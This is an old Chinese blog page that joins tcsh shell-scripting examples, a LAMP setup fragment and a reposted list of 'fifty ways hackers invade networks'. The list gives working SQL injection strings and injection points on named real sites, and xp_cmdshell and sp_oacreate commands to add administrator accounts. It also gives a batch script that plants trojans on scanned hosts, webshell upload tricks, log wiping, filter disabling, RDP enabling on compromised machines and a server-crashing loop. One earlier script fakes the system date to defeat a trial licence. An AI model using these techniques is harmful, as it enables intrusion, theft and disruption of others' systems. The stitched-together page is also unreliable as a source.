本博客已转移至 http://www.lupaworld.com/home/35714

Shell 编程实例集锦

上一篇 / 下一篇  2007-07-01 23:38:06 / 个人分类:Linux

Shell 编程实例集锦


如何远程杀死僵进程?所谓“僵进程”是指处于睡眠中,而且没用的进程。在进行并行计算时经常会有僵进程产生。由于用 top 看不到“僵进程”,所以写了如下一个叫做“rkill”的 shell 文件:

#!/bin/tcsh
 
echo "  Input start number of node: "
set N1="$<"
echo "  Input end number of node: "
set N2="$<"
 
echo "  Input the NAME of program"
set pname="$<"
 
echo "**********************************************************"
 
while($N1 <= $N2)
   set h='t'$N1
   set ppid=`rsh $h ps -ef | grep $pname | awk '{print $2}' `
   echo "rsh $h  kill $ppid"
   rsh $h kill $ppid
   @ N1++
end
 
echo "**********************************************************"
如何将一个 index 文件中的空链接删除?在目录 /doc/Art_and_Photos/photo/NASA-Astronomy_Picture_of_the_Day 中只有有限的几个文件,而 archivepix.html 文件中却链接了两千多个文件,我们的目标就是要把不存在的文件链接删除掉。

#!/bin/tcsh -f
 
# 从当前目录中查找有哪些可用文件。find 不支持正则表达式 \{\}
set tmp=`find . -type f -maxdepth 1 -name "ap[0-9][0-9][0-9][0-9][0-9][0-9].html" `
 
# 将查找结果 ./ap000303.html 转换为 ap000303.html
set ff1=`echo $tmp | sed -e 's/\.\/\(ap[0-9]\{6\}\.html\)/\1/g' `
 
# 在文件 archivepix.html 中查找包含类似 ap000303.html 的行,并将其导入临时文件 ftmp 中
grep 'ap[0-9]\{6\}\.html' archivepix.html >ftmp
 
# 将 ftmp 中的每一行转换为 ap000303.html 的形式,这样 ff1 和 ff2 中的字符串在形式上就是相同的了。
set ff2 = ` sed -e 's/.*\(ap[0-9]\{6\}\.html\).*/\1/g' ftmp`
rm ftmp -f
 
# 比较变量 ff1 和 ff2 的内容,如果一个字符串只存在于 ff2 中,那么就把文件 archivepix.html 中含有
# 该字符串的行删除掉。
foreach f2 ($ff2)
  echo $f2
  set flag=0
  foreach f1 ($ff1)
    if ($f2 == $f1) then
      set flag=1
    endif
  end
  if($flag == 0) then
    sed -e '/'$f2'/d' archivepix.html >ftmp  # 此句最关键之处在于'$f2'可用于正则表达式。
    mv ftmp archivepix.html -f
  endif
end
如何将一个目录中的所有文件链接到网页中?只要将下列程序的输出导到一个文件中,再将其拷至网页的相应位置就可以了。这里最关键的是看双引号如何输出(\")。

#!/bin/tcsh -f
set dd = "/doc/Art_and_Photos/Flash/flash/AGui"
set ffff = `find $dd -type f `
set n=0
foreach f ($ffff)
@ n++
echo $f
echo '< a href='\"$f\"'<'$n',</a>'>> AGui.html
end
如何为一堆文件换名字?在吴老师的笔记心得中介绍了张林波的高招,但那是 bash 的,而且是以命令行形式给出的。为了便于理解,我将其改写为 tcsh 格式,并将其置于脚本文件之中,更利于使用。

#!/bin/tcsh -f      # -f 说明直接运行该文件,而不会先运行 .cshrc 进行初始化
rm tmp_file -f      # 确保该文件不存在
foreach fold (*.jpg.*)
set fnew = ` echo $fold | sed -e "s/\.jpg\.\(.*\)/-\1.jpg/g" ` # 精华之处
echo "mv $fold $fnew -f " >>tmp_file
end
chmod a+x tmp_file
./tmp_file
rm tmp_file -f
在这个脚本文件中,关键是“精华之处”。它的意义是:首先将要修改的文件名($fold)通过管道( | ) 传给流编辑器(sed),流编辑器对文件名进行处理,其各项的具体意义为:

set fnew = ` echo $fold | sed -e "s/\.jpg\.\(.*\)/-\1.jpg/g" `
 
sed -e            命令+选项  表示允许多点编辑
s/re/string/      用 string 替换正则表达式 re
/\.jpg\.\(.*\)/   “\.”表示一个真正的点,“\.jpg\.” 代表文件名中的“ .jpg.”;
                  “\(.*\)” 中的‘.’匹配一个非换行符的字符,‘*’匹配 0 个或多个“先前”字符,
                   它与 shell 的通配符完全不同,shell 的通配符代表 0 个或多个“任意”字符。
                   “.*”所代表的内容被设为“标签 1”,可在需要的地方用“\1”引用。值得注意
                    的是:“.*”决不能用“*”来代替,因为“*”将表示任意个“\.”。
/-\1.jpg/         “\1”代表“标签 1”的内容
g                   表示行内全面替换
这里还有一个地方需要提醒,那就是将 `echo ...` 引起来的不是单引号,而是键盘左上角标有 “~ ` ”上的撇号.

如何解决网页中字体放大时出现重叠的问题?方案一:适用于单层目录

#!/bin/tcsh -f
set dir=`ls .`
foreach d  ($dir)
  if( -d $d) then          # 判断是否为目录
    cd  $d
    echo "cd $d"
    foreach f (*.htm *.html)
      sed -e '/[0-9]pt/d' $f > ftmp  # 删除所有包含 9pt、12pt 等关键词的行
      mv ftmp $f -f
    end
    cd ..
  endif
end
方案二:适用于多层目录

#!/bin/tcsh -f
set SearchPath = "/doc/Reading/everything/武侠/梁羽生"
set files=`find $SearchPath -type f -name "*.htm*" `
foreach f ($files)
  echo $f
  sed -e '/[0-9]pt/d' $f > ftmp
  mv ftmp $f -f
end
如何将一个目录中所有文件名由大写变为小写我们以目录 tmp 为例

1. 进入 tmp 目录的上一级目录
2. zip -r tmp.zip  tmp/*
3. mv tmp tmp-old   (这是为了安全起见,此处也可改为 rm -r -f tmp )
4. unzip -LL tmp.zip
这样,tmp 目录中的文件名就全改为小写了。在确认无误后,可将 tmp-old 目录删除。

如何将一个文件中的内容由大写变为小写最简单的做法是在 ~/.cshrc 中设如下命令:

alias tr  'tr A-Z a-z< \!* >ttttmp; mv ttttmp \!* -f'
此处别名必须为 tr,其他的就不行,不知为什么。当需要对文件进行操作时,敲如下命令:

tr  [filename]
该命令在命令行中运行没有任何问题,但是如果将其放在一个 shell scrīpt 文件中,然后将该文件的属性改为可执行并执行之的话,你会发现用 alias 设置的简化命令全部失效。解决办法为:

source  shell_file
此处还顺便说一句,sh 命令运行的是 bash 文件。

如何使系统每隔大约3小时自动激活一次声卡1. 由于我们所用的声卡驱动程序是一个试用版的,在一星期以内,它有3小时的有效时间(尚可接受)。但超过一个星期以后,有效时间就只有20分钟了,那是绝对无法忍受的!吴首教为此感到义愤填膺,于2003年9月1日“坐台”完毕后,组建攻关小组并亲自挂帅,带领组员王某人经过“极其艰苦” 的奋斗,终于攻克了这一难题。短命的攻关小组在完成了其历史使命,并开完“非典声卡激活经验总结表彰大会”后,就地解散。茫茫天地间只留下了如下解决方案:

(1) 建立 shell 脚本文件 opensound

#!/bin/tcsh -f
while(1)
set datesave=`date +%m%d%H%M%Y`
date 082500002003
/usr/lib/oss/soundoff
/usr/lib/oss/soundon
date $datesave
sleep 10800
end
(2) 将 opensound 的属性改为所有人均可执行, 命令为:

chmod  a+x  opensound
(3) 将 opensound 拷贝至 /usr/local/bin

(4) 在 /etc/rc.d/rc.local 中加入

/usr/local/bin/opensound >&/dev/null&
(5) 重新启动计算机。然后我们就能永远听到美妙的声音啦!!! (此事又一次证明: 道高一尺, 魔高一丈!)

2. 曾经我以为这一问题已圆满解决,但在使用过程中却问题多多,人生最痛苦的事莫过如此。究其原因,都是 soundoff 惹得祸。为了声音永驻,我将不惜 CPU 时间与其试比高。

#!/bin/tcsh -f
set datesave=`date +%m%d%H%M%Y`
date 082500002003
/usr/lib/oss/soundoff
/usr/lib/oss/soundon
date $datesave
sleep 8000                   # 以上是为了在系统启动时激活声卡
 
while(1)
  /usr/lib/oss/soundoff >& out
  set flag=`cat out`
  rm out -f
  set N=0
  if("$flag" != "") then     # flag 不是空串说明 soundoff 执行失败
    while(2)
      @ N++
      /usr/lib/oss/soundoff >& out
      set flag=`cat out`
      rm out -f
      if("$flag" == "") then
        echo "soundoff succeed"
        break
      else
        echo "$N   soundoff failed"
        sleep 5
      endif
    end
  endif
  set datesave=`date +%m%d%H%M%Y`
  date 082500002003
  /usr/lib/oss/soundon
  date $datesave
  sleep 8000
end
 

 

 

 

 

 

 

 

 

安装方便,使用简易,兼容效果好

ISO光盘里已带有JRE,安装时将自动安装上jre

电驴 / aMule下地址

http://lib.verycd.com/2007/06/26/0000154778.html

 

 
 
 
 
 
首先更新所有软件至最新版本
#yum update
也可以添加一个软件库:
rpm -Uhv http://apt.sw.be/packages/rpmforge-release/rpmforge-release-0.3.6-1.el5.rf.i386.rpm

需要说明:
下面所安装的LAMP软件可能官方库没有或不全。
yum -y install httpd php mysql mysql-server php-mysql php-gd php-mbstring php-bcmath libmhash libmcrypt mod_ssl
cp /etc/php.ini /etc/php.ini.bak
vi /etc/php.ini

cp /etc/httpd/conf/httpd.conf /etc/httpd/conf/httpd.conf.bak
gedit /etc/httpd/conf/httpd.conf

cp /etc/php.ini /etc/php.ini.bak
gedit /etc/php.ini

cp /etc/my.cnf /etc/my.cnf.bak
gedit /etc/my.cnf


delete from mysql.user where user='';

/etc/rc.d/init.d/httpd restart

/etc/rc.d/init.d/mysqld start


chmod 755 /home/aphone/
mkdir /home/aphone/action
mkdir /etc/skel/action
chown aphone.aphone /home/aphone/action
mv /var/www/html /var/www/html.bak
ln -s /home/aphone/action /var/www/html


gedit /etc/httpd/conf.d/exam.conf

Alias /phpmyadmin /home/aphone/begin/phpmyadmin
Alias /phpsysinfo /home/aphone/begin/phpsysinfo
 
 
 
 
 
 
 
 
 
黑客入侵网络的50种方法
现在网上的攻击事件越来越多,黑客都是通过什么方法来攻击我们的呢?下面我们给大家总结了黑客入侵网络的五十种方法,让大家做到有备无患。

  1.网宽网络有限公司制作的网站基本都有注入漏洞 搜索网宽网络

  2.搜索栏里输入

  关键字%'and 1=1 and '%'='

  关键字%'and 1=2 and '%'='

  比较不同处 可以作为注入的特征字符

  3.登陆框用户名和密码输入'or'='or' 漏洞很老但是现在很是遍地都是

  4.我们先到
www.google.com底下搜索一下Co Net MIB Ver 1.0

  密码帐号都是 'or'='or'

  5.挂马代码

  6.
http://www.wyyfk.com/24小时挂QQ工具

  7.开启regedt32的SAM的管理员权限 检查HKEY_LOCAL_MACHINESAMSAM和HKEY_LOCAL_MACHINESAMSAM下的管理员和guest的F键值,如果一样就是用被入侵过了,然后删了guest帐号,对方可以用guest帐号使用administraeors的权限,你也可以用这方法留住肉鸡,这方法是简单克隆,

  net localgroup administrators还是可以看出Guest是管理员来

  7.只要敢想,新浪也可入侵 注入点

  
http://igame.sina.com.cn/plaza/event/new/crnt_event_view.asp?event_id=59

  微软官方网站注入点

  
http://www.microsoft.com/library/toolbar/3.0/search.aspx?View=en-us&charset=iso-8859-1&qu=

  8.ms05016攻击工具用法 mshta.exe test.hta 文件名.后缀名 可以绑上QQ大盗木马

  9.有sa权限sqlserver数据库、并且能sql注入支持fso+asp的服务器

  SQL注入后,如何上传木马,

  文章地址
http://hack123.home4u.china.com/0601.htm

  10.QQ强制聊天代码

  
http://wpa.qq.com/msgrd?V=1&Uin=对方的qq号&Site=ioshenmue&Menu=yes

  使用方法:把代码中的红色的“********”星号换成你想与其聊天的QQ号后复 制到浏览器的地址栏处即可。无论他是否你的好友,你无须加他为好友就能给 他发QQ消息。

  11. mybbs论坛cookie欺骗 后台备份马

  12.软件instsrv.exe 把.exe文件做成系统服务来启动 用来肉鸡挂QQ等

  用法: 安装: instsrv.exe 服务名称 路径

  卸载: instsrv.exe 服务名称 REMOVE

  13.以动网为例数据库查找DV_LOG,在上面的查询的字段名里选l_content后面的关键字填上password2,找到的username2=%B7%E7%A4%CE%B0%D7%D2%C2&password2=01180017&username1=%B7%E7%A4%CE%B0%D7%D2%C2&Submit=%CC%ED+%BC%D3 password2=01180017就是他的登陆密码

  14.搜索的技巧 inurl:网址

  15.启航工作室WMS 5.0网站程序漏洞

  在baidu 搜索Powered by: SailingStudio Website Manage System 5.0 (SP1)

  利用动画看
http://soft.77169.com/62/20050530/6824.html

  16.很多网站程序(比如华硕中文官方网站)上传图片时有可能在检测文件的时候是 从左朝又进行检测,也就是说,他会检测文件是不是有.jpg,那么我们要是把文件改成:ating.jpg.asp试试。。由于还是ASP结尾,所以木马不会变~

  17.天意商务系统网上依然有 有漏洞 网站具体的样式
http://www.wzgcc.org/

  工具下载www.hack6.com

  地址栏里,填上天意商务系统的网址就可以了,注意一定要是主页面

  18.SQL注入时工具---Internet选项---高级里找到显示友好的错误信息勾去掉

  不能注入时要第一时间想到%5c暴库

  19.这个dbinbd.asp文件插入后门的功能适用于文件名为.asp的所有access数据库不是动网论坛也一样可以使用的,后门隐蔽,几乎发现不了

  工具使用方法动画和所有文件

  
http://www.anquanwu.com/bbs/printpage.asp?BoardID=2&ID=811

  20.缺少xp_cmdshell时

  尝试恢复EXEC sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'

  假如恢复不成功,可以尝试直接加用户(针对开3389的)

  declare @o int

  exec sp_oacreate 'wscrīpt.shell',@o out

  exec sp_oamethod @o,'run',NULL,'cmd.exe /c net user ating ating /add' 再提到管理员

  21.批量种植木马.bat



  for /f %%i in (扫描地址.txt) do copy pc.exe %%iadmin$ 复制木马到扫描的计算机当中

  for /f %%i in (扫描地址.txt) do at %%i 09:50 pc.exe 在对方计算机上运行木马的时间

  扫描地址.txt里每个主机名一行 用\开头

  22.搜索 Powered by Discuz!4.0.0RC3 开放头像的可利用 工具地址
www.hack6.com

  23.DV7.1用还原数据功能 还原asa木马

  24.凡人网络购物系统V6.0 可以%5c暴库

  25.IPB2.0.2漏洞 构造语句

  $qpid=1) and 1=2 union select 1,2,3,4,5,6,7,8,9,10,member_login_key,12,13,14,15,16,17,18,19,1 from ibf_members where id=1 /* 暴管理员密码 想看动画到黑基里找 IPB<= 2.0.3论坛注入工具
www.hack6.com有下载

  26. 将工具传到邮箱 在下载上右击 复制快捷方式 拥有自己了的下载空间

  27.北京冲QB要宽带号跟绑定宽带的后4位电话,当你扫出北京款待号的密码必须是8位的密码,而且开头是6或8的才可以,因为北京的电话都是6根8开头的而且都是8位的,北京的区名海淀 东城 西城 门头沟 丰台 潮阳 宣武 通州 昌平,去
http://cnc.qq.com/bbn/

  28.搜索 企业网络办公系统 添'or''=' 登陆 在个人邮箱 上传asp木马

  29.本人原创 搜索"一点点星空驿站 留言本" 默认数据库是gbmdb.mdb 很多网站用这个留言本 但是用搜索引擎搜不到 可以给大家在入寝时多个思路

  30.在程序上传shell过程中,程序不允许包含标记符号的内容的文件上传,比如蓝屏最小 的asp木马,我们来把他的标签换一下: 保存为.asp,程序照样 执行.

  31.目录权限设置变态的话可以用一些方法(比如serv-u溢出)将此web用户提权 可访问全站目录挂马

  32.喜欢网页挂马的看看这篇总结文章吧

  
http://77169.com/News/hk/2005060611656.html

  33.搜索"images/admin" 或".tw/images/admin" 可以找到些台湾的数据库

  34.IIS6 For Windows 2003 Enterprise Edition 如IIS发布目录文件夹包含.asp后辍名.

  将.asp后辍改为.jpg或其它的如.htm,也可以运行asp,但要在.asp文件夹下.

  .cer 等后缀的文件夹下都可以运行任何后缀的asp木马

  35.telnet一台交换机 然后在telnet控制主机 控制主机留下的是交换机的IP

  然后用#clear logg和#clear line vty *删除日志

  36.搜索关键字:"Copyright 2003-2004 动易网络" 后面地址改成upfile_soft.asp 这样的漏洞很多

  37.bbsxp的漏洞总结 Powered by BBSxp 5.15/Licence blog.asp中的对id 的过滤不严的漏洞 拿到管理员的前后台密码 工具:bbsxp完全版 cookies 欺骗 bbsxp 过滤了 asp 文件的上传 所以我们这里用 asa 来传马

  38.学会总结入侵思路
http://www.77169.com/News/hk/2005060811688.html

  39.电脑坏了省去重新安装系统的方法

  纯dos下执行,

  xp:copy C:WINDOWSrepair*.*? 到?c:windowssystem32config

  2k: copy C:winntrepair*.*? 到?c:winntsystem32config

  40.一般人设置啊拉QQ大盗的时候发信和收信都是同一个信箱,因此当我的机子中了此木马后没有立即杀掉进程,而是用内存编辑工具打开它的进程,查找smtp字样,就会找到它的信箱和密码了。只对1.5以前的管用.

  41.内网控制内网 用vidc 还要有一只肉鸡 动画看黑基的

  
http://soft.77169.com/62/20050608/6878.html

  42.有许多管理员用备份的日期做备份数据库的名字

  比如
http://www.hack6.com/bbs/databackup/20050601.mdb

  43.动网数据库oldusername=%B5%F0%B7%C0&username2=%B5%F0%B7%C0&password2=19841202&adduser=%B5%F0%B7%C0&id=12&Submit=%B8%FC+%D0%C2
不知道用户名(不是%B8%F0%B7%C0) 转化这个用他本身的页面

  
http://www.hack6.com/bbs/showerr.asp?BoardID=0&ErrCodes=10,11&action=%CC%EE%D0%B4%B5%C7%C2%BC%D0%C5%CF%A2

  %CC%EE%D0%B4%B5%C7%C2%BC%D0%C5%CF%A2这句话意思是“填写登录信息”

  那么就把%CC%EE%D0%B4%B5%C7%C2%BC%D0%C5%CF%A2换成%B5%F0%B7%C0 可以看到用户名

  44.对付信息监控系统 木马必须是加密的 如net user用不了就用net1 user等等 我是大连的 大连这边主机用这方法好用 可以直接传加密的马 用用黑基tyrant的方法 上传一个cmd的aspshall 用nc连接自己的nc监听端口 在web目录下写个加ftp用户的txt 本地43958用nc提交 ftp到服务器加用户

  45.解决TCP/IP筛选 在注册表里有三处,分别是:



  HKEY_LOCAL_MACHINESYSTEMControlSet001ServicesTcpip

  HKEY_LOCAL_MACHINESYSTEMControlSet002ServicesTcpip

  HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesTcpip

  分别用

  regedit -e D:a.reg HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesTcpip

  regedit -e D:b.reg HKEY_LOCAL_MACHINESYSTEMControlSet002ServicesTcpip

  regedit -e D:c.reg HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesTcpip

  命令来导出注册表项

  然后把三个文件里的EnableSecurityFilters"=dword:00000001,

  改成EnableSecurityFilters"=dword:00000000 再将以上三个文件分别用

  regedit -s D:a.reg regedit -s D:b.reg regedit -s D:c.reg 导入注册表即可

  46.使CHM木马无法在本地运行木马程序 将注册表"HKEY_CURRENT_U

  SERSoftwareMicrosoftWindowsCurrentVersionInternet SettingsZones"下的1004项的值由原来十进制的0改为十六进制的3。

  47.开3389的5种方法

  (1)打开记事本,编辑内容如下:

  echo [Components] > c:sql

  echo TSEnable = on >> c:sql

  sysocmgr /i:c:winntinfsysoc.inf /u:c:sql /q

  编辑好后存为BAT文件,上传至肉鸡,执行。

  (2) (对xp2000都有效) 脚本文件 本地开3389 工具:rots1.05

  下载地址:
www.netsill.com/rots.zip

  在命令行方式下使用windows自带的脚本宿主程序cscrīpt.exe调用脚本,例如:

  c:>cscrīpt ROTS.vbs <目标IP> <用户名> <密码> [服务端口] [/r]

  如果要对本地使用,IP地址为127.0.0.1或者一个点(用.表示),用户名和密码都为空(用 ""表示)。

  (3)djshao正式版5.0

  解压djshao5.0.zip,用你的随便什么方法把把解压出来的djxyx*.**e上传到肉鸡的c:winnttemp下,然后 进入c:winnttemp目录执行djxyx*.**e解压缩文件,然后再执行解压缩出来的azzd.exe文件,等一会肉鸡 会自动重启!重启后会出现终端服务

  (4)下载DameWare NT Utilities 3.66.0.0 注册版

  地址
www.netsill.com/dwmrcw36600.zip

  安装注册完毕后输入对方IP用户名密码,等待出现是否安装的对话框点是。

  复制启动后出现对方桌面。

  在对方桌面进入控制面版,点添加或删除程序。进入后点添加/删除windows组件,找到终端服务,点际进入 后在启动终端服务上打上勾。确定自动提示重起,重起后OK

  (5)大家最常用的 3389.exe 下载地址
www.hack6.com 把程序上传到肉鸡运行后重启既可

  48.QQ上得到别人的IP

  一般跟别人聊天 如果是对方先对你说话 那么她的IP显示出来的概率就大

  当然如果是我们找对方 可以先跟她说发过去消息之后 然后关闭窗口等待她的回复

  还可以用天网防火墙选择上UDP数据保检测,即可拦截到对方ip

  49.挂马js代码document.write('');保存到js页面里 可让所有页面挂马

  50.让服务器重启

  写个bat死循环:

  @echo off

  :loop1

  cls

  start cmd.exe

  goto loop1

  保存成bat guset权限就可以运行 运行后很快服务器就会死机 管理员自然会去重启

 

 

 

 

 

---------------------------------------------------
核弹 / KernBombe (音译:卡邦) 系统

TAG: Linux KernBombe

朝文 引用 删除 xcwen   /   2007-07-03 09:58:05
3
牛人..
 

评分:0

我来说两句

显示全部

:loveliness: :handshake :victory: :funk: :time: :kiss: :call: :hug: :lol :'( :Q :L ;P :$ :P :o :@ :D :( :)

日历

« 2008-10-12  
   1234
567891011
12131415161718
19202122232425
262728293031 

数据统计

  • 访问量: 93307
  • 日志数: 252
  • 图片数: 1
  • 书签数: 7
  • 建立时间: 2007-03-30
  • 更新时间: 2008-07-07

RSS订阅

Open Toolbar